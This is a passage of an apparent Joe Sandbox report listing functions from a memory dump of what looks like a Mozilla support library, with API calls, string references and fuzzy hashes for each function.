_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C53D019,?,?,?,?,?,00000000,?,6C52DA31,00100000,?,?), ref: 6C52002A

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: aa202848a3919e5e333ab961f1213cb941317b60e8ea9777555db905aeca1b57
Instruction ID: dd55fd86c52aca30bf5289abd36bf2202e8cef175cf4ad7e455aed37d8430544
Opcode Fuzzy Hash: aa202848a3919e5e333ab961f1213cb941317b60e8ea9777555db905aeca1b57
Instruction Fuzzy Hash: 9621C4B2A002159BD7189E689C988AEB7BAEBC53247250739E425D7780FB70AD0187E1

Function 6C4FB4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C4FB4F5
AcquireSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4FB502
ReleaseSRWLockExclusive.KERNEL32(6C56F4B8), ref: 6C4FB542
free.MOZGLUE(?), ref: 6C4FB578

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: a59241559e2203d4f00f234b447c82ea26c7a16bf7b0d8b8c797e1e6384d32bc
Instruction ID: 3178925e55aa9b0e7bc518fc2f4780159107096e371c55cf205fe1fed5a0c350
Opcode Fuzzy Hash: a59241559e2203d4f00f234b447c82ea26c7a16bf7b0d8b8c797e1e6384d32bc
Instruction Fuzzy Hash: 7D11AE30A04B41C7D712CF2AC804B62B3B1FFD7329F55670AE85952E11EBB5A5C68794

Function 6C523DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C4EF20E,?), ref: 6C523DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C4EF20E,00000000,?), ref: 6C523DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C523E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C523E0E

Part of subcall function 6C51CC00: GetCurrentProcess.KERNEL32(?,?,6C4E31A7), ref: 6C51CC0D
Part of subcall function 6C51CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C4E31A7), ref: 6C51CC16

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: 26f4ecc9e9993dcdf7525ed6999a60028536c23f826b7407572f925faa633909
Instruction ID: e4978f17a357c5a5ee030d1f2ba16f80e225a7dd2c228637927653090640324a
Opcode Fuzzy Hash: 26f4ecc9e9993dcdf7525ed6999a60028536c23f826b7407572f925faa633909
Instruction Fuzzy Hash: 01F08271A00208BBDB00AB55DC41DBB376CEB86628F050020FD0817751D735BD2986FB

Function 6C532050 Relevance: 6.0, APIs: 4, Instructions: 33threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C53205B
AcquireSRWLockExclusive.KERNEL32(?,?,?,00000000,?,6C53201B,?,?,?,?,?,?,?,6C531F8F,?,?), ref: 6C532064
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C53208E
free.MOZGLUE(?,?,?,00000000,?,6C53201B,?,?,?,?,?,?,?,6C531F8F,?,?), ref: 6C5320A3

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 06ae796d7ed8f227765ddf0a69983cb1029b85b316a2e8fb219183f4a78e4f3b
Instruction ID: 99c4258fcea118530defc7d85d4a2c50fb70aedef9faa12204075da36a9efab2
Opcode Fuzzy Hash: 06ae796d7ed8f227765ddf0a69983cb1029b85b316a2e8fb219183f4a78e4f3b
Instruction Fuzzy Hash: 0FF09071200A109BC7119F1BDC8876BB7F8EF86324F11011AF54A87721DB76A80ACBDA

Function 6C5385B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C5385D3

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C538725

Strings

map/set<T> too long, xrefs: 6C538720

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 0af486ab9d43256d9798d50b8ac1c11774ea2b6bd4bdd903118c0223a3b215e9
Instruction ID: bfd01ed902e9904f77864d2f150e11a8802a470477459b8d449e176564c05fac
Opcode Fuzzy Hash: 0af486ab9d43256d9798d50b8ac1c11774ea2b6bd4bdd903118c0223a3b215e9
Instruction Fuzzy Hash: C1516574600661CFC705CF18C884A55BBF1BF99318F18C18AD8599BB62D375EC45CF92

Function 6C4EBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C4EBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C4EBE8F

Strings

0, xrefs: 6C4EBE5B

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 4a79925d2a30b0fe20490cf2c65c9d0e901e1e3b122136a8a934ab614c267027
Instruction ID: 0effd526d604d4f894cfc602c5c5d22efd31f64952547e14c440edd0dc75ef84
Opcode Fuzzy Hash: 4a79925d2a30b0fe20490cf2c65c9d0e901e1e3b122136a8a934ab614c267027
Instruction Fuzzy Hash: EC419D71909745CFC701CF38C481E9BBBE4AF8E349F018A1DF985A7611E730D9598B86

Function 6C523CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C523D19
mozalloc_abort.MOZGLUE(?), ref: 6C523D6C

Strings

d, xrefs: 6C523D58

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 94fdd5e4b2ba17aff0b10da1e6558912b7b8c811fe7ab0ee73581db6034f88ca
Instruction ID: 9c7dc3fea77d0369a86548943d69d7a6bda1077d7ae0260424fa753328c4c550
Opcode Fuzzy Hash: 94fdd5e4b2ba17aff0b10da1e6558912b7b8c811fe7ab0ee73581db6034f88ca
Instruction Fuzzy Hash: C2112736E04788D7DF01DB6DCC144EDB7B9EF86358B858228DC449BA52FB34A984C790

Function 6C4F4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C4F44B2,6C56E21C,6C56F7F8), ref: 6C4F473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C4F474A

Strings

GetNtLoaderAPI, xrefs: 6C4F4744

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 4146ad134780cb072280972e7fc7fd3b0cb432cdbab8708c48f7fcf8e8dcd325
Instruction ID: 9bbde400a8c7a82ec3842adf2ae4f8138e9b457d3cfd4cad132300ea66da52cf
Opcode Fuzzy Hash: 4146ad134780cb072280972e7fc7fd3b0cb432cdbab8708c48f7fcf8e8dcd325
Instruction Fuzzy Hash: 290196757012148FDF009FAA8C48A2977F9FB8B351B064066E905C7710DB74DC028FA5

Function 6C546DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C546E22
__Init_thread_footer.LIBCMT ref: 6C546E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C546E1D

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 41e43c6444f659f8ff88b4f1a47f3490a58c2ea758a7420b251d5205110c1992
Instruction ID: 01048fed121061183751ac615262d8ddfa92a0cd5dde527a0a0d8ebeb7a68e69
Opcode Fuzzy Hash: 41e43c6444f659f8ff88b4f1a47f3490a58c2ea758a7420b251d5205110c1992
Instruction Fuzzy Hash: 91F05936A05380CBEA00CB6ECC50FA333B16743318F051665C44187F71CB22B926CA97

Function 6C4F9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C4F9EEF

Strings

NaN, xrefs: 6C4F9EC1
Infinity, xrefs: 6C4F9EB7

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b5589ba1210607bc4b55cd6f092d3f9aac4612a79a2dfb4f91b7b0eb9cce4207
Instruction ID: ee09b54d50f820f1b235ad930237631822285dd737ad9884398409cfd8db93f9
Opcode Fuzzy Hash: b5589ba1210607bc4b55cd6f092d3f9aac4612a79a2dfb4f91b7b0eb9cce4207
Instruction Fuzzy Hash: 8DF0AF72E00241CADB00CF1EDC49F6033B1B793309F221B19C5100BFA0D7367556CA8A

Function 6C4F6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0KRl,?,6C524B30,80000000,?,6C524AB7,?,6C4E43CF,?,6C4E42D2), ref: 6C4F6C42

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

moz_xmalloc.MOZGLUE(0KRl,?,6C524B30,80000000,?,6C524AB7,?,6C4E43CF,?,6C4E42D2), ref: 6C4F6C58

Strings

0KRl, xrefs: 6C4F6C33, 6C4F6C41, 6C4F6C57

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0KRl
API String ID: 1967447596-1630099257
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 7ff7a8141ffbe31dd1ae5fd95d10abbee3074f2f565a50994c7c7651bd46e1af
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 00E026F1E101400A9B08D878AC19EAB71C88B942E87044A39EC72C3BCCFA14E4528091

Function 6C4F3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C56F860), ref: 6C4F385C
ReleaseSRWLockExclusive.KERNEL32(6C56F860,?), ref: 6C4F3871

Strings

,Vl, xrefs: 6C4F387A

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,Vl
API String ID: 17069307-1264242894
Opcode ID: 839b8dbc3c0d33cbc786de09d823871a726f9c55c6a4eb9cce0919e3c296fd99
Instruction ID: 4d0622affd8cec20ff24520f1cab7566df8a78e134acca99086cf617b563f1ab
Opcode Fuzzy Hash: 839b8dbc3c0d33cbc786de09d823871a726f9c55c6a4eb9cce0919e3c296fd99
Instruction Fuzzy Hash: BCE0D831D0661C978711DF5B8C01F9A7BF9EF836903054245F4191BF30C770D48286CA

Function 6C4FBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C4FBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C4FBEF5

Strings

cryptbase.dll, xrefs: 6C4FBEF0

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 26716faf96e3c4b6c0039b020e5ad8fce0887a2452078bfe5e542f39dd41a53e
Instruction ID: 453c907f6c8498046ef2d0d7c35363ba33252be2ddb7335792d92f0a240d1d3f
Opcode Fuzzy Hash: 26716faf96e3c4b6c0039b020e5ad8fce0887a2452078bfe5e542f39dd41a53e
Instruction Fuzzy Hash: 0ED0A731180108E6CA00FA558D05F2537749702315F10C021F31544961C7B09811DB44

Function 6C53B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C53B2C9,?,?,?,6C53B127,?,?,?,?,?,?,?,?,?,6C53AE52), ref: 6C53B628

Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C5390FF
Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C539108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C53B2C9,?,?,?,6C53B127,?,?,?,?,?,?,?,?,?,6C53AE52), ref: 6C53B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C53B2C9,?,?,?,6C53B127,?,?,?,?,?,?,?,?,?,6C53AE52), ref: 6C53B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C53B127,?,?,?,?,?,?,?,?), ref: 6C53B74D

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b00bb930559113515b5635df35e856742ae41ef4727c4fbccf153f5bf250e365
Instruction ID: c334e161f3f8784123fcf3290633d8c03a658d53d7486fe335ad448db2a7d0fc
Opcode Fuzzy Hash: b00bb930559113515b5635df35e856742ae41ef4727c4fbccf153f5bf250e365
Instruction Fuzzy Hash: 7F51D2B1A01A258FDB14EF58CD8476EB7B1FF85304F05A52DC85EAB711EB31A814CBA1

Function 6C53DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C52FF2A), ref: 6C53DFFD

Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C5390FF
Part of subcall function 6C5390E0: free.MOZGLUE(?,00000000,?,?,6C53DEDB), ref: 6C539108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C52FF2A), ref: 6C53E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C52FF2A), ref: 6C53E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C52FF2A), ref: 6C53E0FE

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 00cd82d89ab9ae0bce3eb98d79b831e33ba502c11a169d196a6a8b8278a34dd5
Instruction ID: e662e6b75e01f8245f9a55f3f9e56e7d7db3a2b0aec9e94d9f58274cbc28d03c
Opcode Fuzzy Hash: 00cd82d89ab9ae0bce3eb98d79b831e33ba502c11a169d196a6a8b8278a34dd5
Instruction Fuzzy Hash: 0041C0B16042268FEB14CF68CC8036A73F2AB45308F154929D55ADB740F7B5ED05CBA2

Function 6C536E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C536EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C536EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C536F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C536F5C

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: dc8ee08ae59615d380690ad8b8fb0c9f043470dacc7f8fe2ec9e6fddddec841b
Instruction ID: b6531c33461c042c7e8ac656a5a3c71f494b0567ddd0ac0daac6626e056e73f3
Opcode Fuzzy Hash: dc8ee08ae59615d380690ad8b8fb0c9f043470dacc7f8fe2ec9e6fddddec841b
Instruction Fuzzy Hash: 4731C171A1061A8FDB04CF2DCD806AA73E9BB84344F50453DD41AC7665FF31E6698791

Function 6C54B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C4F0A4D), ref: 6C54B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C4F0A4D), ref: 6C54B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C4F0A4D), ref: 6C54B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C4F0A4D), ref: 6C54B67F

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 98b30e88226712c6fdd222ef8a24d0d66e09c3d4bc33dea989b3e6c0ee523c3b
Instruction ID: 30f5f94d01753f81a485a2b2270ac62af0c66f00e8c8fc5a0dd6294262e6309c
Opcode Fuzzy Hash: 98b30e88226712c6fdd222ef8a24d0d66e09c3d4bc33dea989b3e6c0ee523c3b
Instruction Fuzzy Hash: C531F271A016168FDB10EF69CC4466EBBB6FF80314F16CA29C8069B311EB31E915CBA0

Function 6C51F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C51F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C51F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C51F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C51F668

Memory Dump Source

Source File: 00000000.00000002.2443011374.000000006C4E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000000.00000002.2442910134.000000006C4E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443244585.000000006C55D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443316262.000000006C56E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2443407334.000000006C572000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4e0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: be3a243fdb9f20e2c04e859f8acae0563b30feb3ee91aa0ce2e28dc6a7d40d9b
